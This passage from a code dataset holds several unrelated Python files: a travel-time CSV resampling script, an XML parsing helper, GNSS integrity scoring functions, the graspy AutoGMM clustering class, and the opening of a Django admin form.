+{"seq_id":"447765842","text":"\n\n\nimport numpy as np\nimport pandas as pd\n#import matplotlib.pyplot as plt\nfrom pandas import Series,DataFrame\nfrom datetime import datetime,date,time\nfrom numpy.matlib import randn\n\n\ndef resample_CSV(route_id):\n\tsimple=pd.read_csv('test1_20min_avg_travel_time_test0519.csv')\n\tA2=simple[simple['route_id']==route_id]\n\tA2series=Series(A2['avg_travel_time'].values,index=A2['time_window_start'])\n\n\n\tA2series.index = pd.to_datetime(A2series.index,format='%Y-%m-%d %H:%M:%S')\n\n######### 以下为test数据专用 ########################\n\tbbb=Series([0],index=pd.to_datetime(['2016-10-18 00:00:00']))   #增加首日零点数据，数据类型为series\n\tbbb = bbb.append(A2series)                                      #合并series，将新增加数据append进来\n\tccc=Series([0],index=pd.to_datetime(['2016-10-24 23:40:00']))   #增加最后时间点数据，补齐\n\tccc = ccc.append(bbb)\n\n\tA2series = ccc\n##################################################\n\n\t#A2series.index = pd.to_datetime(A2series.index,format='%Y-%m-%d %H:%M:%S')\n\tA2resample=A2series.resample('20T').mean()\n\tmm=A2resample.median()               \n\tA2full=A2resample.fillna(mm)\n\t\n############  以下为训练集专用   ############################\n\tA2done=A2full[A2full.index>='2016-07-20 00:00:00']\n\n\t#A2done=Series(A2done.values,columns=['a'],index=A2done.index)\n\tprint(route_id)\n\tprint(A2done)\n\n\tnew_name = route_id[0]+route_id[2]+'_resample3'+'.csv'\n\tA2done.to_csv(new_name)\n\n\n\n\n\n\n\n\n\n\n\n\n'''\n#\nsimple=pd.read_csv('training_20min_avg_travel_time_simple.csv')\n\ntype(simple)\n#pandas.core.frame.DataFrame\n\nsimple.index\n#RangeIndex(start=0, stop=25144, step=1)\n\nsimple.columns\n#Index(['route_id', 'time_window_start', 'avg_travel_time'], dtype='object')\n\nA2=simple[simple['route_id']=='A-2']\n#注意A2是从DataFrame中选取的列，它是一个Series，取值必须去values！！！   [].values  [].index\nA2series=Series(A2['avg_travel_time'].values,index=A2['time_window_start'])\n\n#In [20]: A2resample=A2series.resample('20T').mean()\n#TypeError: Only valid with DatetimeIndex, TimedeltaIndex or PeriodIndex, but got an instance of 'Index'\n\n#index类型是obj，不能resamp，必须转化为datetime类型！！！！\nA2series.index = pd.to_datetime(A2series.index,format='%Y-%m-%d %H:%M:%S')\n\n#resample成功！！！\nA2resample=A2series.resample('20T').mean()\n\n#取A2resample的values中位数填充NaN值\nmm=A2resample.median()               \nA2full=A2resample.fillna(mm)\n\n#去掉开头不对齐数据，从20号开始计时\nA2done=A2full[A2full.index>='2016-07-20 00:00:00']\n#job done !!!\nprint('A2done 如下：')\nprint(A2done)\n#导出CSV\n\n\nA2done.to_csv('A2done0517.csv')\n'''\n'''\n#从文件读出csv，并将string拆分为列表\nnum=open('A2done.csv').readline().strip().split(',')\n#原格式为string：'2016-07-20 00:00:00,10.6\\n'\n#In [61]: num\n#Out[61]: ['2016-07-20 00:00:00', '10.6']\n\n################# 将数据读成每天一条记录，20min一条数据，数据为avg time   #############\n######  数据转化为ndarry类型   #########################################\nfr = open('A2done.csv')\ndataMat=[]\nlineArr = []\nfor line in fr.readlines():\n\tcurLine = line.strip().split(',')  #列表出现\n\tlineArr.append(float(curLine[1]))  #append单个元素, curLine[1] is data of avg time\n\tif len(lineArr) == 24*3:           #每天72条数据     \n\t\tdataMat.append(lineArr)\n\t\tlineArr=[]\n\n\n#########################    dataMat是list类型\n#### nddata为ndarray类型 ########################\nnddata = np.array(dataMat)       ################## ndata为72列 #########\n\nprint(nddata[0,:])      #####  共72列，从0：00：00 至 23：40：00  \n\n\nxMat = np.mat( nddata[:,15:21] )   #### 最后一个值不取 #########\n\nyMat = np.mat( nddata[:,21] ).T \n\n\n'''\n\n\n\n","sub_path":"kdd/kdd1/test_data/resample0517.py","file_name":"resample0517.py","file_ext":"py","file_size_in_byte":3745,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"8506402","text":"# Import the xml-parsing-functionality\nfrom xml.dom.minidom import parseString\n\nclass Base(object):\n\n\t\t# Private variable, just used in here\n\t\t__TREE_SEPARATOR = '/'\n\n\n\t\t# Protected, for private use, but must be inherited\n\t\t_xmlData=None\n\n\t\tdef __init__(self, xmlString):\n\t\t\t# Store the parsed xml-data\n\t\t\tself._xmlData=parseString(xmlString)\n\t\t# End def\n\n\t\tdef getSingleNodeValue(self, nodePath, parentNode=None, checkAttributes=None, returnAttributeValue=None):\n\t\t\ttreeParts=nodePath.split(self.__TREE_SEPARATOR)\n\t\t\ttreePartsLength=len(treeParts)\n\n\t\t\ttry:\n\t\t\t\ttextNode=self._xmlData if parentNode==None else parentNode\n\n\t\t\t\tfor nr in range(0, treePartsLength):\n\t\t\t\t\ttextNode=textNode.getElementsByTagName(treeParts[nr])\n\n\t\t\t\t\tif nr<treePartsLength-1:\n\t\t\t\t\t\ttextNode=textNode[0]\n\t\t\t\t\t# End if\n\t\t\t\t# End for\n\n\t\t\t\t# Check if a node is found\n\t\t\t\tif len(textNode)==0:\n\t\t\t\t\treturn None\n\t\t\t\t# End if\n\n\t\t\t\tif checkAttributes!=None and type(checkAttributes)==type({}):\n\t\t\t\t\tattributesKeys=checkAttributes.keys()\n\n\t\t\t\t\tfor attributeNode in textNode:\n\t\t\t\t\t\t# Check attributes if given\n\t\t\t\t\t\tfoundAttributes=0\n\n\t\t\t\t\t\tfor attributesKey in attributesKeys:\n\t\t\t\t\t\t\tif attributeNode.getAttribute(attributesKey)==checkAttributes.get(attributesKey):\n\t\t\t\t\t\t\t\tfoundAttributes+=1\n\t\t\t\t\t\t\t# End for\n\t\t\t\t\t\t# End for\n\n\t\t\t\t\t\t# Check if alle attributes where found\n\t\t\t\t\t\tif foundAttributes==len(attributesKeys):\n\t\t\t\t\t\t\ttextNode=attributeNode\n\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\t# End if\n\t\t\t\t\t# End for\n\t\t\t\telse:\n\t\t\t\t\ttextNode=textNode[0]\n\t\t\t\t# End if\n\n\t\t\t\t# If defined, return the attribute-value, otherwise the TEXT_NODE-value\n\t\t\t\tif returnAttributeValue!=None:\n\t\t\t\t\treturn textNode.getAttribute(returnAttributeValue).strip()\n\t\t\t\telse:\n\t\t\t\t\t# Using childnodes to ...\n\t\t\t\t\tfor node in textNode.childNodes:\n\t\t\t\t\t\t# ... to find the text-node\n\t\t\t\t\t\tif node.nodeType==node.TEXT_NODE:\n\t\t\t\t\t\t\t# return the node-value\n\t\t\t\t\t\t\treturn node.nodeValue.strip()\n\t\t\t\t\t\t# End if\n\t\t\t\t\t# End for\n\t\t\t\t# End if\n\t\t\texcept:\n\t\t\t\tpass\n\t\t\t# End try/except\n\n\t\t\treturn None\n\t\t# End def\n\n\t\tdef getListItems(self, nodePath, textNode=None):\n\t\t\ttreeParts=nodePath.split(self.__TREE_SEPARATOR)\n\n\t\t\ttry:\n\t\t\t\ttextNode=self._xmlData if textNode==None else textNode\n\n\t\t\t\tfor treePartCounter in range(0, len(treeParts)):\n\t\t\t\t\ttextNode=textNode.getElementsByTagName(treeParts[treePartCounter])\n\t\t\t\t\tif treePartCounter<len(treeParts)-1:\n\t\t\t\t\t\ttextNode=textNode[0]\n\t\t\t\t\t# End if\n\t\t\t\t# End for\n\n\t\t\t\treturn textNode\n\t\t\texcept:\n\t\t\t\tpass\n\t\t\t# End try/except\n\n\t\t\treturn None\n\t\t# End def\n# End class\n","sub_path":"PicasaData/Base.py","file_name":"Base.py","file_ext":"py","file_size_in_byte":2511,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"487463043","text":"\"\"\"\nintegrity.py\nFunctions to calculate the integrity of a particular voxel/ navigation solution\nAuthor: Ashwin Kanhere\nDate created: 10th June 2019\nLast modified: 13th June 2019\n\"\"\"\n\nimport numpy as np\nfrom scipy.stats import chi2\n\n\ndef sigmoid(x):\n    s = 1/(1 + np.exp(-x))\n    return s\n\n\ndef calculate_dop(points, iscore=np.array([0])):\n    \"\"\"\n    Function to calculate the DOP of a group of points, weighted by their integrity score\n    :param points: The points for which the IDOP (Integrity DOP) is to be calculated\n    :param iscore: The corresponding integrity scores of each point\n    :return IDOP: The Integrity weighted DOP of the points\n    :return DOP: The traditional DOP of the points (for reference or normalization)\n    \"\"\"\n    N = points.shape[0]\n    if iscore.size == 1:\n        iscore = np.ones(N)\n    row_norm = np.linalg.norm(points, axis=1)\n    coord_norm = np.broadcast_to(np.atleast_2d(row_norm).T, [N, 3])\n    unit_vect = points/coord_norm\n    G_norm = np.hstack((unit_vect, np.ones([N, 1])))\n    G_dash = np.atleast_2d(iscore).T*G_norm\n    H_dash = np.linalg.inv(np.matmul(G_dash.T, G_dash))\n    IDOP = np.sqrt(np.sum(np.diag(H_dash)))\n    return IDOP, np.sum(iscore)\n\n\ndef solution_score(points, point_iscore, test_pc):\n    \"\"\"\n    Function to return the integrity score of a navigation solution\n    :param points: Points that were used to obtain the navigation solution\n    :param point_iscore: The integrity score corresponding to these points\n    :return: sol_iscore: The final solution's integrity score\n    \"\"\"\n    IDOP, iscore_sum = calculate_dop(points, point_iscore)\n    DOP, _ = calculate_dop(points)\n    sol_iscore = DOP/IDOP\n    return sol_iscore, iscore_sum\n\n\ndef voxel_integrity(voxel_dict, points):\n    \"\"\"\n    Function to calculate an integrity score for the points distributed inside a voxel\n    :param voxel_dict: Dictionary containing the mean and covariance for the voxel in question\n    :param points: Points that lie inside the voxel in question\n    :return: r: The integrity score for that voxel\n    \"\"\"\n    N = points.shape[0]  # Number of points\n    mu = voxel_dict['mu']\n    sigma_inv = np.linalg.inv(voxel_dict['sigma'])\n    if points.ndim == 1:\n        q = np.atleast_2d(points[:3]) - mu\n    else:\n        q = points[:, :3] - mu\n    r = np.sum(np.diag(np.matmul(q, np.matmul(sigma_inv, q.T))))\n    if N > 4:\n        T_upper = chi2.ppf(0.999, N - 4)\n        T_lower = chi2.ppf(0.001, N - 4)\n        r = r / (N - 4)\n        scale_limit = 3\n        r_scaled = (2 * scale_limit) * T_lower / (T_upper - T_lower) - (2 * scale_limit) * r / (\n                    T_upper - T_lower) + scale_limit\n        Iv = sigmoid(r_scaled)\n    else:\n        Iv = 0\n    if np.isnan(Iv):\n        print('Yet another Nan!')\n    return Iv\n\n\ndef voxel_int_opt(voxel_dict, points):\n    \"\"\"\n    Function to calculate an integrity score for the points distributed inside a voxel for optimization\n    :param voxel_dict: Dictionary containing the mean and covariance for the voxel in question\n    :param points: Points that lie inside the voxel in question\n    :return: r: The integrity score for that voxel\n    \"\"\"\n    N = points.shape[0]  # Number of points\n    mu = voxel_dict['mu']\n    sigma_inv = np.linalg.inv(voxel_dict['sigma'])\n    if points.ndim == 1:\n        q = np.atleast_2d(points[:3]) - mu\n    else:\n        q = points[:, :3] - mu\n    r = np.sum(np.diag(np.matmul(q, np.matmul(sigma_inv, q.T))))\n    T_upper = chi2.ppf(0.999, N - 4)\n    T_lower = chi2.ppf(0.001, N - 4)\n    scale_limit = 3\n    if N > 4:\n        r = r / (N - 4)\n        r_scaled = (2 * scale_limit) * T_lower / (T_upper - T_lower) - (2 * scale_limit) * r / (\n                    T_upper - T_lower) + scale_limit\n        Iv = sigmoid(r_scaled)\n        k = - 2*(2 * scale_limit) / ((T_upper - T_lower)*(N-4))\n    else:\n        Iv = 0\n        r_scaled = 2*scale_limit\n        k = - 2*(2 * scale_limit) / (T_upper - T_lower)\n    return Iv, r_scaled, k\n\n\n","sub_path":"integrity.py","file_name":"integrity.py","file_ext":"py","file_size_in_byte":3956,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"321853563","text":"# Copyright 2019 NeuroData (http://neurodata.io)\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n#     http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nimport numpy as np\nimport pandas as pd\nfrom sklearn.metrics import adjusted_rand_score\nfrom sklearn.mixture import GaussianMixture\nfrom sklearn.cluster import AgglomerativeClustering\nfrom sklearn.mixture.gaussian_mixture import _estimate_gaussian_parameters\nfrom sklearn.mixture.gaussian_mixture import _compute_precision_cholesky\nfrom sklearn.model_selection import ParameterGrid\nimport warnings\n\nfrom .base import BaseCluster\n\n\nclass AutoGMMCluster(BaseCluster):\n    \"\"\"\n    AutoGMM Cluster.\n\n    Clustering algorithm using a hierarchical agglomerative clustering then Gaussian\n    mixtured model (GMM) fitting. Different combinations of agglomeration, GMM, and \n    cluster numbers are used and the clustering with the best Bayesian Information\n    Criterion (BIC) is chosen.\n\n\n    Parameters\n    ----------\n    min_components : int, default=2. \n        The minimum number of mixture components to consider (unless\n        max_components=None, in which case this is the maximum number of\n        components to consider). If max_components is not None, min_components\n        must be less than or equal to max_components.\n\n    max_components : int or None, default=20.\n        The maximum number of mixture components to consider. Must be greater \n        than or equal to min_components.\n\n    affinity : {'euclidean','manhattan','cosine','none', 'all' (default)}, optional\n        String or list/array describing the type of affinities to use in agglomeration.\n        If a string, it must be one of:\n\n        - 'euclidean'\n            L2 norm\n        - 'manhattan'\n            L1 norm\n        - 'cosine'\n            cosine similarity\n        - 'none'\n            no agglomeration - GMM is initialized with k-means\n        - 'all'\n            considers all affinities in ['euclidean','manhattan','cosine','none']\n        If a list/array, it must be a list/array of strings containing only\n            'euclidean', 'manhattan', 'cosine', and/or 'none'.\n\n    linkage : {'ward','complete','average','single', 'all' (default)}, optional\n        String or list/array describing the type of linkages to use in agglomeration.\n        If a string, it must be one of:\n\n        - 'ward'\n            ward's clustering, can only be used with euclidean affinity\n        - 'complete'\n            complete linkage\n        - 'average'\n            average linkage\n        - 'single'\n            single linkage\n        - 'all'\n           considers all linkages in ['ward','complete','average','single']\n        If a list/array, it must be a list/array of strings containing only\n            'ward', 'complete', 'average', and/or 'single'.\n        \n    covariance_type : {'full', 'tied', 'diag', 'spherical', 'all' (default)} , optional\n        String or list/array describing the type of covariance parameters to use.\n        If a string, it must be one of:\n        \n        - 'full'\n            each component has its own general covariance matrix\n        - 'tied'\n            all components share the same general covariance matrix\n        - 'diag'\n            each component has its own diagonal covariance matrix\n        - 'spherical'\n            each component has its own single variance\n        - 'all'\n            considers all covariance structures in ['spherical', 'diag', 'tied', 'full']\n        If a list/array, it must be a list/array of strings containing only\n            'spherical', 'tied', 'diag', and/or 'spherical'.\n    \n    random_state : int, RandomState instance or None, optional (default=None)\n        If int, random_state is the seed used by the random number generator;\n        If RandomState instance, random_state is the random number generator;\n        If None, the random number generator is the RandomState instance used\n        by ``np.random``.\n\n    label_init : array-like, shape (n_samples,), optional (default=None)\n        List of labels for samples if available. Used to initialize the model.\n\n    max_iter : int, defaults to 100.\n        The maximum number of EM iterations to perform.\n\n    verbose : int, default to 0.\n        Enable verbose output. If 1 then it prints the current initialization and each iteration step.\n        If greater than 1 then it prints also the log probability and the time needed for each step.\n\n\n    Attributes\n    ----------\n    results_ : pandas.DataFrame\n        Contains exhaustive information about all the clustering runs.\n        Columns are:\n            'model' - fit GaussianMixture object\n            'bic' - Bayesian Information Criterion\n            'ari' - Adjusted Rand Index, nan if y is not given\n            'n_components' - number of clusters\n            'affinity' - affinity used in Agglomerative Clustering\n            'linkage' - linkage used in Agglomerative Clustering\n            'covariance_type' - covariance type used in GMM\n            'reg_covar' : regularization used in GMM\n\n    bic_ : the best (lowest) Bayesian Information Criterion\n    n_components_ : number of clusters in the model with the best BIC\n    covariance_type_ : covariance type in the model with the best BIC\n    affinity_ : affinity used in the model with the best BIC\n    linkage_ : linkage used in the model with the best BIC\n    reg_covar_ : regularization used in the model with the best BIC\n    ari_ : ARI from the model with the best BIC, nan if no y is given\n    model_ : GaussianMixture object with the best BIC\n    \"\"\"\n\n    def __init__(\n        self,\n        min_components=2,\n        max_components=20,\n        affinity=\"all\",\n        linkage=\"all\",\n        covariance_type=\"all\",\n        random_state=None,\n        label_init=None,\n        max_iter=100,\n        verbose=0,\n    ):\n        if isinstance(min_components, int):\n            if min_components <= 0:\n                msg = \"min_components must be >= 1.\"\n                raise ValueError(msg)\n        else:\n            msg = \"min_components must be an integer, not {}.\".format(\n                type(min_components)\n            )\n            raise TypeError(msg)\n\n        if isinstance(max_components, int):\n            if max_components <= 0:\n                msg = \"max_components must be >= 1 or None.\"\n                raise ValueError(msg)\n            elif min_components > max_components:\n                msg = \"min_components must be less than or equal to max_components.\"\n                raise ValueError(msg)\n        elif max_components is not None:\n            msg = \"max_components must be an integer or None, not {}.\".format(\n                type(max_components)\n            )\n            raise TypeError(msg)\n\n        if isinstance(affinity, (np.ndarray, list)):\n            affinity = np.unique(affinity)\n        elif isinstance(affinity, str):\n            if affinity == \"all\":\n                affinity = [\"euclidean\", \"manhattan\", \"cosine\", \"none\"]\n            else:\n                affinity = [affinity]\n        else:\n            msg = \"affinity must be a numpy array, a list, or \"\n            msg += \"string, not {}\".format(type(affinity))\n            raise TypeError(msg)\n\n        for aff in affinity:\n            if aff not in [\"euclidean\", \"manhattan\", \"cosine\", \"none\"]:\n                msg = (\n                    \"affinity must be one of \"\n                    + '[\"euclidean\",\"manhattan\",\"cosine\",\"none\"]'\n                )\n                msg += \" not {}\".format(aff)\n                raise ValueError(msg)\n\n        if (\"ward\" in linkage) and not (\"euclidean\" in affinity):\n            msg = (\n                'if \"ward\" is a linkage option, '\n                + '\"euclidean\" must be an affinity option'\n            )\n            raise ValueError(msg)\n\n        if isinstance(linkage, (np.ndarray, list)):\n            linkage = np.unique(linkage)\n        elif isinstance(linkage, str):\n            if linkage == \"all\":\n                linkage = [\"ward\", \"complete\", \"average\", \"single\"]\n            else:\n                linkage = [linkage]\n        else:\n            msg = \"linkage must be a numpy array, a list, or \"\n            msg += \"string, not {}\".format(type(linkage))\n            raise TypeError(msg)\n\n        for link in linkage:\n            if link not in [\"ward\", \"complete\", \"average\", \"single\"]:\n                msg = (\n                    \"linkage must be one of \"\n                    + '[\"ward\", \"complete\", \"average\", \"single\"]'\n                )\n                msg += \" not {}\".format(link)\n                raise ValueError(msg)\n\n        if isinstance(covariance_type, (np.ndarray, list)):\n            covariance_type = np.unique(covariance_type)\n        elif isinstance(covariance_type, str):\n            if covariance_type == \"all\":\n                covariance_type = [\"spherical\", \"diag\", \"tied\", \"full\"]\n            else:\n                covariance_type = [covariance_type]\n        else:\n            msg = \"covariance_type must be a numpy array, a list, or \"\n            msg += \"string, not {}\".format(type(covariance_type))\n            raise TypeError(msg)\n\n        for cov in covariance_type:\n            if cov not in [\"spherical\", \"diag\", \"tied\", \"full\"]:\n                msg = (\n                    \"covariance structure must be one of \"\n                    + '[\"spherical\", \"diag\", \"tied\", \"full\"]'\n                )\n                msg += \" not {}\".format(cov)\n                raise ValueError(msg)\n\n        new_covariance_type = []\n        for cov in [\"spherical\", \"diag\", \"tied\", \"full\"]:\n            if cov in covariance_type:\n                new_covariance_type.append(cov)\n\n        if isinstance(label_init, list):\n            label_init = np.array(label_init)\n        elif isinstance(label_init, np.ndarray):\n            if label_init.ndim > 2 or (\n                label_init.ndim == 2 and 1 not in label_init.shape\n            ):\n                msg = \"label_init must be a one dimension array.\"\n                raise TypeError(msg)\n        elif label_init is not None:\n            msg = \"label_init must be a 1-D numpy array, a list, or None,\"\n            msg += \"not {}\".format(type(label_init))\n            raise TypeError(msg)\n\n        # Adjust elements in label_init to range(n_components of label_init)\n        if label_init is not None:\n            uni_label_init = np.unique(label_init)\n            n_components_init = np.size(uni_label_init)\n            labels_init = np.copy(label_init)\n            for i in range(n_components_init):\n                labels_init[np.argwhere(label_init == uni_label_init[i])] = i\n            labels_init = labels_init.astype(int)\n        else:\n            labels_init = None\n\n        self.min_components = min_components\n        self.max_components = max_components\n        self.affinity = affinity\n        self.linkage = linkage\n        self.covariance_type = new_covariance_type\n        self.random_state = random_state\n        self.label_init = labels_init\n        self.max_iter = max_iter\n        self.verbose = verbose\n\n    def _process_paramgrid(self, paramgrid):\n        \"\"\"\n        Removes combinations of affinity and linkage that are not possible.\n\n        Parameters\n        ----------\n        paramgrid : list of dicts\n            Each dict has the keys 'affinity', 'covariance_type', 'linkage',\n            'n_components', and 'random_state'\n\n        Returns\n        -------\n        paramgrid_processed : list pairs of dicts\n            For each pair, the first dict are the options for AgglomerativeClustering.\n            The second dict include the options for GaussianMixture.\n        \"\"\"\n        paramgrid_processed = []\n\n        for params in paramgrid:\n            if (\n                params[\"affinity\"] == \"none\"\n                and params[\"linkage\"] != paramgrid[0][\"linkage\"]\n            ):\n                continue\n            elif params[\"linkage\"] == \"ward\" and params[\"affinity\"] != \"euclidean\" and params[\"affinity\"] != \"none\":\n                continue\n            else:\n                \n                gm_keys = [\"covariance_type\", \"n_components\", \"random_state\"]\n                gm_params = {key: params[key] for key in gm_keys}\n\n                ag_keys = [\"affinity\", \"linkage\"]\n                ag_params = {key: params[key] for key in ag_keys}\n                ag_params[\"n_clusters\"] = params[\"n_components\"]\n\n                paramgrid_processed.append([ag_params, gm_params])\n\n        return paramgrid_processed\n\n    def _labels_to_onehot(self, labels):\n        \"\"\"\n        Converts labels to one-hot format.\n\n        Parameters\n        ----------\n        labels : ndarray, shape (n_samples,)\n            Cluster labels\n\n        Returns\n        -------\n        onehot : ndarray, shape (n_samples, n_clusters)\n            Each row has a single one indicating cluster membership.\n            All other entries are zero.\n        \"\"\"\n        n = len(labels)\n        k = max(labels) + 1\n        onehot = np.zeros([n, k])\n        onehot[np.arange(n), labels] = 1\n        return onehot\n\n    def _onehot_to_initialparams(self, X, onehot, cov_type):\n        \"\"\"\n        Computes cluster weights, cluster means and cluster precisions from\n        a given clustering.\n\n        Parameters\n        ----------\n        X : array-like, shape (n_samples, n_features)\n            List of n_features-dimensional data points. Each row\n            corresponds to a single data point.\n        onehot : ndarray, shape (n_samples, n_clusters)\n            Each row has a 1 indicating cluster membership, other entries are 0.\n        cov_type : {'full', 'tied', 'diag', 'spherical'}\n            Covariance type for Gaussian mixture model\n        \"\"\"\n        n = X.shape[0]\n        weights, means, covariances = _estimate_gaussian_parameters(\n            X, onehot, 1e-06, cov_type\n        )\n        weights /= n\n\n        precisions_cholesky_ = _compute_precision_cholesky(covariances, cov_type)\n\n        if cov_type == \"tied\":\n            c = precisions_cholesky_\n            precisions = np.dot(c, c.T)\n        elif cov_type == \"diag\":\n            precisions = precisions_cholesky_\n        else:\n            precisions = [np.dot(c, c.T) for c in precisions_cholesky_]\n\n        return weights, means, precisions\n\n    def _increase_reg(self, reg):\n        \"\"\"\n        Increase regularization factor by factor of 10.\n\n        Parameters\n        ----------\n        reg: float\n            Current regularization factor.\n\n        Returns\n        -------\n        reg : float\n            Increased regularization\n        \"\"\"\n        if reg == 0:\n            reg = 1e-06\n        else:\n            reg = reg * 10\n        return reg\n\n    def fit(self, X, y=None):\n        \"\"\"\n        Fits gaussian mixture model to the data.\n        Initialize with agglomerative clustering then\n        estimate model parameters with EM algorithm.\n\n        Parameters\n        ----------\n        X : array-like, shape (n_samples, n_features)\n            List of n_features-dimensional data points. Each row\n            corresponds to a single data point.\n        \n        y : array-like, shape (n_samples,), optional (default=None)\n            List of labels for X if available. Used to compute\n            ARI scores.\n\n        Returns\n        -------\n        self\n        \"\"\"\n\n        # Deal with number of clusters\n        if self.max_components is None:\n            lower_ncomponents = 1\n            upper_ncomponents = self.min_components\n        else:\n            lower_ncomponents = self.min_components\n            upper_ncomponents = self.max_components\n\n        if upper_ncomponents > X.shape[0]:\n            if self.max_components is None:\n                msg = \"if max_components is None then min_components must be >= \"\n                msg += \"n_samples, but min_components = {}, n_samples = {}\".format(\n                    upper_ncomponents, X.shape[0]\n                )\n            else:\n                msg = \"max_components must be >= n_samples, but max_components = \"\n                msg += \"{}, n_samples = {}\".format(upper_ncomponents, X.shape[0])\n            raise ValueError(msg)\n        elif lower_ncomponents > X.shape[0]:\n            msg = \"min_components must be <= n_samples, but min_components = \"\n            msg += \"{}, n_samples = {}\".format(upper_ncomponents, X.shape[0])\n            raise ValueError(msg)\n        # check if X contains the 0 vector\n        if np.any(~X.any(axis=1)) and (\"cosine\" in self.affinity):\n            msg = \"When using cosine affinity, X cannot contain the 0 vector, but \"\n            msg += \"X[{},] is 0\".format(np.where(~X.any(axis=1)))\n            raise ValueError(msg)\n\n        label_init = self.label_init\n        if label_init is not None:\n            if label_init.size != X.shape[0]:\n                msg = \"n_samples must be the same as the length of label_init\"\n                raise ValueError(msg)\n\n        # Get parameters\n        random_state = self.random_state\n        max_iter = self.max_iter\n        verbose = self.verbose\n\n        param_grid = dict(\n            affinity=self.affinity,\n            linkage=self.linkage,\n            covariance_type=self.covariance_type,\n            n_components=range(lower_ncomponents, upper_ncomponents + 1),\n            random_state=[random_state],\n        )\n\n        param_grid = list(ParameterGrid(param_grid))\n        param_grid = self._process_paramgrid(param_grid)\n\n        results = pd.DataFrame(\n            columns=[\n                \"model\",\n                \"bic\",\n                \"ari\",\n                \"n_components\",\n                \"affinity\",\n                \"linkage\",\n                \"covariance_type\",\n                \"reg_covar\",\n            ]\n        )\n\n        for params in param_grid:\n            if label_init is not None:\n                onehot = self._labels_to_onehot(label_init)\n                weights_init, means_init, precisions_init = self._onehot_to_initialparams(\n                    X, onehot, params[1][\"covariance_type\"]\n                )\n                gm_params = params[1]\n                gm_params[\"weights_init\"] = weights_init\n                gm_params[\"means_init\"] = means_init\n                gm_params[\"precisions_init\"] = precisions_init\n            elif params[0][\"affinity\"] != \"none\":\n                agg = AgglomerativeClustering(**params[0])\n                n = X.shape[0]\n                max_size = 2000\n                if n > max_size:  # if dataset is huge, agglomerate a subset\n                    subset_idxs = np.random.choice(np.arange(0, n), max_size)\n                    X_subset = X[subset_idxs, :]\n                else:\n                    X_subset = X\n                agg_clustering = agg.fit_predict(X_subset)\n                onehot = self._labels_to_onehot(agg_clustering)\n                weights_init, means_init, precisions_init = self._onehot_to_initialparams(\n                    X_subset, onehot, params[1][\"covariance_type\"]\n                )\n                gm_params = params[1]\n                gm_params[\"weights_init\"] = weights_init\n                gm_params[\"means_init\"] = means_init\n                gm_params[\"precisions_init\"] = precisions_init\n            else:\n                gm_params = params[1]\n                gm_params[\"init_params\"] = \"kmeans\"\n            gm_params[\"reg_covar\"] = 0\n            gm_params[\"max_iter\"] = max_iter\n            gm_params[\"verbose\"] = verbose\n\n            bic = np.inf  # if none of the iterations converge, bic is set to inf\n            # below is the regularization scheme\n            while gm_params[\"reg_covar\"] <= 1:\n                model = GaussianMixture(**gm_params)\n                try:\n                    model.fit(X)\n                    predictions = model.predict(X)\n                    counts = [\n                        sum(predictions == i) for i in range(gm_params[\"n_components\"])\n                    ]\n                    # singleton clusters not allowed\n                    assert not any([count <= 1 for count in counts])\n\n                except ValueError:\n                    gm_params[\"reg_covar\"] = self._increase_reg(gm_params[\"reg_covar\"])\n                    continue\n                except AssertionError:\n                    gm_params[\"reg_covar\"] = self._increase_reg(gm_params[\"reg_covar\"])\n                    continue\n                # if the code gets here, then the model has been fit with no errors or singleton clusters\n                bic = model.bic(X)  # *****************************\n                break\n\n            if y is not None:\n                predictions = model.predict(X)\n                ari = adjusted_rand_score(y, predictions)\n            else:\n                ari = float(\"nan\")\n            entry = pd.DataFrame(\n                {\n                    \"model\": [model],\n                    \"bic\": [bic],\n                    \"ari\": [ari],\n                    \"n_components\": [gm_params[\"n_components\"]],\n                    \"affinity\": [params[0][\"affinity\"]],\n                    \"linkage\": [params[0][\"linkage\"]],\n                    \"covariance_type\": [gm_params[\"covariance_type\"]],\n                    \"reg_covar\": [gm_params[\"reg_covar\"]],\n                }\n            )\n            results = results.append(entry, ignore_index=True)\n\n        self.results_ = results\n        # Get the best cov type and its index within the dataframe\n        best_idx = results[\"bic\"].idxmin()\n\n        self.bic_ = results.loc[best_idx, \"bic\"]\n        self.n_components_ = results.loc[best_idx, \"n_components\"]\n        self.covariance_type_ = results.loc[best_idx, \"covariance_type\"]\n        self.affinity_ = results.loc[best_idx, \"affinity\"]\n        self.linkage_ = results.loc[best_idx, \"linkage\"]\n        self.reg_covar_ = results.loc[best_idx, \"reg_covar\"]\n        self.ari_ = results.loc[best_idx, \"ari\"]\n        self.model_ = results.loc[best_idx, \"model\"]\n\n        return self\n","sub_path":"graspy/cluster/autogmm.py","file_name":"autogmm.py","file_ext":"py","file_size_in_byte":22257,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"626497624","text":"# -*- coding: utf-8 -*-\n\n# ToMaTo (Topology management software) \n# Copyright (C) 2010 Dennis Schwerdel, University of Kaiserslautern\n#\n# This program is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program.  If not, see <http://www.gnu.org/licenses/>\n\nimport json\n\nfrom django.shortcuts import render\nfrom django import forms\nfrom lib import wrap_rpc, serverInfo, AuthError\nfrom django.http import HttpResponseRedirect\n\nfrom admin_common import BootstrapForm, RemoveConfirmForm, Buttons\nfrom tomato.crispy_forms.layout import Layout\nfrom django.core.urlresolvers import reverse\nfrom django.utils.translation import ugettext_lazy as _\n\nclass HostForm(BootstrapForm):\n\tname = 